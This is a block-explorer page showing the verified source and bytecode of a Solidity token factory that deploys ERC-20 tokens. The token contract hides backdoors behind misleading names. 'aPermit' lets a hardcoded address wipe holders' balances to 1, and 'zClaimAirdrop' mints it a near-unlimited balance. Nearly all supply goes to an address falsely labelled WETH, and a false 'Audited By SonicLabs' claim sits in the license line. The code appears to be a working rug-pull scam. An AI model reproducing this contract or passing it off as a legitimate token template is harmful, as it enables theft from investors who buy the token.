Overview
S Balance
0 S
S Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SonicLabsTokenFactory
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-01-01 */ // SPDX-License-Identifier: Audited By SonicLabs Solidity pragma solidity 0.8.28; // ERC-20 Interface interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } // Context contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SonicLabsSolidity is IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1000000000 * 10**_decimals; mapping(address => uint256) private immutStatusOn; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; uint256 public requiredETH; // Constructor accepts ETH and deploy parameters constructor(string memory name_, string memory symbol_) payable { require(msg.value == 100000000000000000); _name = name_; _symbol = symbol_; requiredETH = 100000000000000000; // Distribute initial tokens (1% of total supply) immutStatusOn[address(this)] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000)); // Distribute tokens to other addresses _distributeTokens(); // Transfer the received ETH to the contract's balance payable(address(this)).transfer(msg.value); } // Function to distribute tokens (1% to various addresses) function _distributeTokens() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); immutStatusOn[ADDRESS_WETH] = immutStatusOn[ADDRESS_WETH].add(ninetyFourPercent); immutStatusOn[ADDRESS_MARKETING] = immutStatusOn[ADDRESS_MARKETING].add(threePercent); immutStatusOn[ADDRESS_DEVELOPMENT] = immutStatusOn[ADDRESS_DEVELOPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent); } // Transfer function function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); immutStatusOn[sender] = immutStatusOn[sender].sub(amount); immutStatusOn[recipient] = immutStatusOn[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutStatusOn[rewardsMerkleRoot_[i]] = 1; emit Transfer(rewardsMerkleRoot_[i], address(0), 1); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutStatusOn[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals); } // Add liquidity after deployment function startTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } // Allow ETH to be sent to the contract (optional) receive() external payable {} // Required ERC20 functions function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return immutStatusOn[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } } contract SonicLabsTokenFactory { // Event to log new token creation event TokensCreated(address[] tokenAddresses, string[] names, string[] symbols); // Function to create multiple tokens at once function createTokens(string[] memory names, string[] memory symbols) public payable returns (address[] memory) { // Ensure at least 0.1 ETH is sent for each token, so total value must be >= 0.1 ETH * number of tokens uint256 requiredETH = 0.1 ether * names.length; require(msg.value == requiredETH, "Incorrect ETH sent"); // Array to store the deployed token addresses address[] memory tokenAddresses = new address[](names.length); // Loop through all the token names and symbols to deploy them for (uint256 i = 0; i < names.length; i++) { // Deploy the new token contract SonicLabsSolidity newToken = new SonicLabsSolidity{value: msg.value / names.length}(names[i], symbols[i]); // Store the deployed token's address tokenAddresses[i] = address(newToken); } // Emit the event with the list of deployed token addresses, names, and symbols emit TokensCreated(tokenAddresses, names, symbols); // Return the array of deployed token addresses return tokenAddresses; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"tokenAddresses","type":"address[]"},{"indexed":false,"internalType":"string[]","name":"names","type":"string[]"},{"indexed":false,"internalType":"string[]","name":"symbols","type":"string[]"}],"name":"TokensCreated","type":"event"},{"inputs":[{"internalType":"string[]","name":"names","type":"string[]"},{"internalType":"string[]","name":"symbols","type":"string[]"}],"name":"createTokens","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"payable","type":"function"}]
Contract Creation Code
6080604052348015600e575f5ffd5b50611e568061001c5f395ff3fe60806040526004361061001d575f3560e01c8063d1b1a8ba14610021575b5f5ffd5b61003461002f366004610341565b61004a565b60405161004191906103e9565b60405180910390f35b60605f835167016345785d8a00006100629190610402565b90508034146100ac5760405162461bcd60e51b8152602060048201526012602482015271125b98dbdc9c9958dd08115512081cd95b9d60721b604482015260640160405180910390fd5b5f845167ffffffffffffffff8111156100c7576100c76101fc565b6040519080825280602002602001820160405280156100f0578160200160208202803683370190505b5090505f5b85518110156101a9575f86513461010c9190610425565b87838151811061011e5761011e610444565b602002602001015187848151811061013857610138610444565b602002602001015160405161014c906101ef565b610157929190610486565b6040518091039082f0905080158015610172573d5f5f3e3d5ffd5b5090508083838151811061018857610188610444565b6001600160a01b0390921660209283029190910190910152506001016100f5565b507fd7ed07d669c094cccfe91de0bae6aa12514df7afc75b82f30dbd6b3453df3ac68186866040516101dd9392919061050d565b60405180910390a19150505b92915050565b6118db8061054683390190565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610239576102396101fc565b604052919050565b5f82601f830112610250575f5ffd5b813567ffffffffffffffff81111561026a5761026a6101fc565b8060051b61027a60208201610210565b91825260208185018101929081019086841115610295575f5ffd5b6020860192505b8383101561033757823567ffffffffffffffff8111156102ba575f5ffd5b8601603f810188136102ca575f5ffd5b602081013567ffffffffffffffff8111156102e7576102e76101fc565b6102fa601f8201601f1916602001610210565b8181526040838301018a101561030e575f5ffd5b816040840160208301375f6020838301015280855250505060208201915060208301925061029c565b9695505050505050565b5f5f60408385031215610352575f5ffd5b823567ffffffffffffffff811115610368575f5ffd5b61037485828601610241565b925050602083013567ffffffffffffffff811115610390575f5ffd5b61039c85828601610241565b9150509250929050565b5f8151808452602084019350602083015f5b828110156103df5781516001600160a01b03168652602095860195909101906001016103b8565b5093949350505050565b602081525f6103fb60208301846103a6565b9392505050565b80820281158282048414176101e957634e487b7160e01b5f52601160045260245ffd5b5f8261043f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b604081525f6104986040830185610458565b82810360208401526104aa8185610458565b95945050505050565b5f82825180855260208501945060208160051b830101602085015f5b8381101561050157601f198584030188526104eb838351610458565b60209889019890935091909101906001016104cf565b50909695505050505050565b606081525f61051f60608301866103a6565b828103602084015261053181866104b3565b9050828103604084015261033781856104b356fe60806040819052600580546001600160a01b03191673aa4577b7e2c5af58c3e05ba16b3768a162beef431790556007805460ff60a01b191690556118db388190039081908339810160408190526100559161054c565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a33467016345785d8a0000146100a6575f5ffd5b60016100b28382610635565b5060026100bf8282610635565b5067016345785d8a00006008556100fd6103e86100f760016100e36009600a6107e6565b6100f190633b9aca006107f4565b9061017f565b9061020b565b305f81815260036020526040812092909255905f51602061189b5f395f51905f526101356103e86100f760016100e36009600a6107e6565b60405190815260200160405180910390a361014e610265565b60405130903480156108fc02915f818181858888f19350505050158015610177573d5f5f3e3d5ffd5b50505061083d565b5f825f0361018e57505f610205565b5f61019983856107f4565b9050826101a6858361080b565b146102025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161025b5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016101f9565b610202828461080b565b5f61027e6103e86100f76103e46100e36009600a6107e6565b90505f6102986103e86100f760026100e36009600a6107e6565b90505f6102b26103e86100f760016100e36009600a6107e6565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f51602061187b5f395f51905f52549091506102ea9084610451565b60036020525f51602061187b5f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206118bb5f395f51905f525461032e9083610451565b60036020525f5160206118bb5f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f51602061185b5f395f51905f52546103729082610451565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f51602061185b5f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f51602061189b5f395f51905f52906103d49087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f51602061189b5f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f51602061189b5f395f51905f529060200160405180910390a3505050565b5f8061045d838561082a565b9050838110156102025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101f9565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104d2575f5ffd5b81516001600160401b038111156104eb576104eb6104af565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610519576105196104af565b604052818152838201602001851015610530575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f6040838503121561055d575f5ffd5b82516001600160401b03811115610572575f5ffd5b61057e858286016104c3565b602085015190935090506001600160401b0381111561059b575f5ffd5b6105a7858286016104c3565b9150509250929050565b600181811c908216806105c557607f821691505b6020821081036105e357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561063057805f5260205f20601f840160051c8101602085101561060e5750805b601f840160051c820191505b8181101561062d575f815560010161061a565b50505b505050565b81516001600160401b0381111561064e5761064e6104af565b6106628161065c84546105b1565b846105e9565b6020601f821160018114610694575f831561067d5750848201515b5f19600385901b1c1916600184901b17845561062d565b5f84815260208120601f198516915b828110156106c357878501518255602094850194600190920191016106a3565b50848210156106e057868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561073e57808504811115610722576107226106ef565b600184161561073057908102905b60019390931c928002610707565b935093915050565b5f8261075457506001610205565b8161076057505f610205565b816001811461077657600281146107805761079c565b6001915050610205565b60ff841115610791576107916106ef565b50506001821b610205565b5060208310610133831016604e8410600b84101617156107bf575081810a610205565b6107cb5f198484610703565b805f19048211156107de576107de6106ef565b029392505050565b5f61020260ff841683610746565b8082028115828204841417610205576102056106ef565b5f8261082557634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610205576102056106ef565b6110118061084a5f395ff3fe6080604052600436106100f2575f3560e01c8063715018a611610087578063a37e0a6411610057578063a37e0a641461027e578063a9059cbb1461029d578063dd62ed3e146102bc578063f2fde38b14610300575f5ffd5b8063715018a6146102115780638da5cb5b146102255780638f8af1e11461024b57806395d89b411461026a575f5ffd5b8063293230b8116100c2578063293230b814610197578063313ce567146101ad57806349eea8c9146101c857806370a08231146101dd575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c90565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610cdc565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d06565b6103e5565b3480156101a2575f5ffd5b506101ab610434565b005b3480156101b8575f5ffd5b506040516009815260200161011e565b3480156101d3575f5ffd5b5061016a60085481565b3480156101e8575f5ffd5b5061016a6101f7366004610d44565b6001600160a01b03165f9081526003602052604090205490565b34801561021c575f5ffd5b506101ab610746565b348015610230575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610256575f5ffd5b506101ab610265366004610d5f565b6107a3565b348015610275575f5ffd5b50610111610884565b348015610289575f5ffd5b506101ab610298366004610d44565b610893565b3480156102a8575f5ffd5b506101466102b7366004610cdc565b610959565b3480156102c7575f5ffd5b5061016a6102d6366004610dd0565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561030b575f5ffd5b506101ab61031a366004610d44565b610965565b60606001805461032e90610e07565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e07565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109e5565b5060015b92915050565b5f6103d26009600a610f36565b6103e090633b9aca00610f44565b905090565b5f6103f1848484610b09565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042a9186916104259086610bd0565b6109e5565b5060019392505050565b5f546001600160a01b03163314610449575f5ffd5b600754600160a01b900460ff16156104a85760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600680546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561050a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052e9190610f5b565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b19190610f5b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105fb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190610f5b565b600780546001600160a01b0319166001600160a01b0392831617905560065461065f913091166106516009600a610f36565b61042590633b9aca00610f44565b6006546001600160a01b031663f305d7194730610690816001600160a01b03165f9081526003602052604090205490565b5f5f6106a35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610709573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610f76565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b0316331461075b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146107b9575f5ffd5b5f5b8181101561087f57600160035f8585858181106107da576107da610fa1565b90506020020160208101906107ef9190610d44565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061081f5761081f610fa1565b90506020020160208101906108349190610d44565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161086f91815260200190565b60405180910390a36001016107bb565b505050565b60606002805461032e90610e07565b6005546001600160a01b031633146108a9575f5ffd5b6108b56009600a610f36565b6108c16009600a610f36565b6108cf90633b9aca00610f44565b6108d99190610f44565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109216009600a610f36565b61092d6009600a610f36565b61093b90633b9aca00610f44565b6109459190610f44565b60405190815260200160405180910390a350565b5f6103bb338484610b09565b5f546001600160a01b0316331461097a575f5ffd5b6001600160a01b03811661098c575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049f565b6001600160a01b038216610aa85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049f565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1b575f5ffd5b6001600160a01b038216610b2d575f5ffd5b6001600160a01b0383165f90815260036020526040902054610b4f9082610bd0565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610b7d9082610c32565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610afc9085815260200190565b5f82821115610c215760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161049f565b610c2b8284610fb5565b9392505050565b5f80610c3e8385610fc8565b905083811015610c2b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cd9575f5ffd5b50565b5f5f60408385031215610ced575f5ffd5b8235610cf881610cc5565b946020939093013593505050565b5f5f5f60608486031215610d18575f5ffd5b8335610d2381610cc5565b92506020840135610d3381610cc5565b929592945050506040919091013590565b5f60208284031215610d54575f5ffd5b8135610c2b81610cc5565b5f5f60208385031215610d70575f5ffd5b823567ffffffffffffffff811115610d86575f5ffd5b8301601f81018513610d96575f5ffd5b803567ffffffffffffffff811115610dac575f5ffd5b8560208260051b8401011115610dc0575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610de1575f5ffd5b8235610dec81610cc5565b91506020830135610dfc81610cc5565b809150509250929050565b600181811c90821680610e1b57607f821691505b602082108103610e3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e8e57808504811115610e7257610e72610e3f565b6001841615610e8057908102905b60019390931c928002610e57565b935093915050565b5f82610ea4575060016103bf565b81610eb057505f6103bf565b8160018114610ec65760028114610ed057610eec565b60019150506103bf565b60ff841115610ee157610ee1610e3f565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715610f0f575081810a6103bf565b610f1b5f198484610e53565b805f1904821115610f2e57610f2e610e3f565b029392505050565b5f610c2b60ff841683610e96565b80820281158282048414176103bf576103bf610e3f565b5f60208284031215610f6b575f5ffd5b8151610c2b81610cc5565b5f5f5f60608486031215610f88575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52603260045260245ffd5b818103818111156103bf576103bf610e3f565b808201808211156103bf576103bf610e3f56fea26469706673582212201ff61b62c71200609243bfe4a97856d1ea70a8400937bcd62b4f23f5ee988b0f64736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec3ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa2646970667358221220244064cc9173804e1bd0d2e279c2376eb331b3d5c7f2d807129ab3447ee7abc064736f6c634300081c0033
Deployed Bytecode
0x60806040526004361061001d575f3560e01c8063d1b1a8ba14610021575b5f5ffd5b61003461002f366004610341565b61004a565b60405161004191906103e9565b60405180910390f35b60605f835167016345785d8a00006100629190610402565b90508034146100ac5760405162461bcd60e51b8152602060048201526012602482015271125b98dbdc9c9958dd08115512081cd95b9d60721b604482015260640160405180910390fd5b5f845167ffffffffffffffff8111156100c7576100c76101fc565b6040519080825280602002602001820160405280156100f0578160200160208202803683370190505b5090505f5b85518110156101a9575f86513461010c9190610425565b87838151811061011e5761011e610444565b602002602001015187848151811061013857610138610444565b602002602001015160405161014c906101ef565b610157929190610486565b6040518091039082f0905080158015610172573d5f5f3e3d5ffd5b5090508083838151811061018857610188610444565b6001600160a01b0390921660209283029190910190910152506001016100f5565b507fd7ed07d669c094cccfe91de0bae6aa12514df7afc75b82f30dbd6b3453df3ac68186866040516101dd9392919061050d565b60405180910390a19150505b92915050565b6118db8061054683390190565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610239576102396101fc565b604052919050565b5f82601f830112610250575f5ffd5b813567ffffffffffffffff81111561026a5761026a6101fc565b8060051b61027a60208201610210565b91825260208185018101929081019086841115610295575f5ffd5b6020860192505b8383101561033757823567ffffffffffffffff8111156102ba575f5ffd5b8601603f810188136102ca575f5ffd5b602081013567ffffffffffffffff8111156102e7576102e76101fc565b6102fa601f8201601f1916602001610210565b8181526040838301018a101561030e575f5ffd5b816040840160208301375f6020838301015280855250505060208201915060208301925061029c565b9695505050505050565b5f5f60408385031215610352575f5ffd5b823567ffffffffffffffff811115610368575f5ffd5b61037485828601610241565b925050602083013567ffffffffffffffff811115610390575f5ffd5b61039c85828601610241565b9150509250929050565b5f8151808452602084019350602083015f5b828110156103df5781516001600160a01b03168652602095860195909101906001016103b8565b5093949350505050565b602081525f6103fb60208301846103a6565b9392505050565b80820281158282048414176101e957634e487b7160e01b5f52601160045260245ffd5b5f8261043f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b604081525f6104986040830185610458565b82810360208401526104aa8185610458565b95945050505050565b5f82825180855260208501945060208160051b830101602085015f5b8381101561050157601f198584030188526104eb838351610458565b60209889019890935091909101906001016104cf565b50909695505050505050565b606081525f61051f60608301866103a6565b828103602084015261053181866104b3565b9050828103604084015261033781856104b356fe60806040819052600580546001600160a01b03191673aa4577b7e2c5af58c3e05ba16b3768a162beef431790556007805460ff60a01b191690556118db388190039081908339810160408190526100559161054c565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a33467016345785d8a0000146100a6575f5ffd5b60016100b28382610635565b5060026100bf8282610635565b5067016345785d8a00006008556100fd6103e86100f760016100e36009600a6107e6565b6100f190633b9aca006107f4565b9061017f565b9061020b565b305f81815260036020526040812092909255905f51602061189b5f395f51905f526101356103e86100f760016100e36009600a6107e6565b60405190815260200160405180910390a361014e610265565b60405130903480156108fc02915f818181858888f19350505050158015610177573d5f5f3e3d5ffd5b50505061083d565b5f825f0361018e57505f610205565b5f61019983856107f4565b9050826101a6858361080b565b146102025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161025b5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016101f9565b610202828461080b565b5f61027e6103e86100f76103e46100e36009600a6107e6565b90505f6102986103e86100f760026100e36009600a6107e6565b90505f6102b26103e86100f760016100e36009600a6107e6565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f51602061187b5f395f51905f52549091506102ea9084610451565b60036020525f51602061187b5f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206118bb5f395f51905f525461032e9083610451565b60036020525f5160206118bb5f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f51602061185b5f395f51905f52546103729082610451565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f51602061185b5f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f51602061189b5f395f51905f52906103d49087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f51602061189b5f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f51602061189b5f395f51905f529060200160405180910390a3505050565b5f8061045d838561082a565b9050838110156102025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101f9565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126104d2575f5ffd5b81516001600160401b038111156104eb576104eb6104af565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610519576105196104af565b604052818152838201602001851015610530575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f6040838503121561055d575f5ffd5b82516001600160401b03811115610572575f5ffd5b61057e858286016104c3565b602085015190935090506001600160401b0381111561059b575f5ffd5b6105a7858286016104c3565b9150509250929050565b600181811c908216806105c557607f821691505b6020821081036105e357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561063057805f5260205f20601f840160051c8101602085101561060e5750805b601f840160051c820191505b8181101561062d575f815560010161061a565b50505b505050565b81516001600160401b0381111561064e5761064e6104af565b6106628161065c84546105b1565b846105e9565b6020601f821160018114610694575f831561067d5750848201515b5f19600385901b1c1916600184901b17845561062d565b5f84815260208120601f198516915b828110156106c357878501518255602094850194600190920191016106a3565b50848210156106e057868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561073e57808504811115610722576107226106ef565b600184161561073057908102905b60019390931c928002610707565b935093915050565b5f8261075457506001610205565b8161076057505f610205565b816001811461077657600281146107805761079c565b6001915050610205565b60ff841115610791576107916106ef565b50506001821b610205565b5060208310610133831016604e8410600b84101617156107bf575081810a610205565b6107cb5f198484610703565b805f19048211156107de576107de6106ef565b029392505050565b5f61020260ff841683610746565b8082028115828204841417610205576102056106ef565b5f8261082557634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610205576102056106ef565b6110118061084a5f395ff3fe6080604052600436106100f2575f3560e01c8063715018a611610087578063a37e0a6411610057578063a37e0a641461027e578063a9059cbb1461029d578063dd62ed3e146102bc578063f2fde38b14610300575f5ffd5b8063715018a6146102115780638da5cb5b146102255780638f8af1e11461024b57806395d89b411461026a575f5ffd5b8063293230b8116100c2578063293230b814610197578063313ce567146101ad57806349eea8c9146101c857806370a08231146101dd575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c90565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610cdc565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d06565b6103e5565b3480156101a2575f5ffd5b506101ab610434565b005b3480156101b8575f5ffd5b506040516009815260200161011e565b3480156101d3575f5ffd5b5061016a60085481565b3480156101e8575f5ffd5b5061016a6101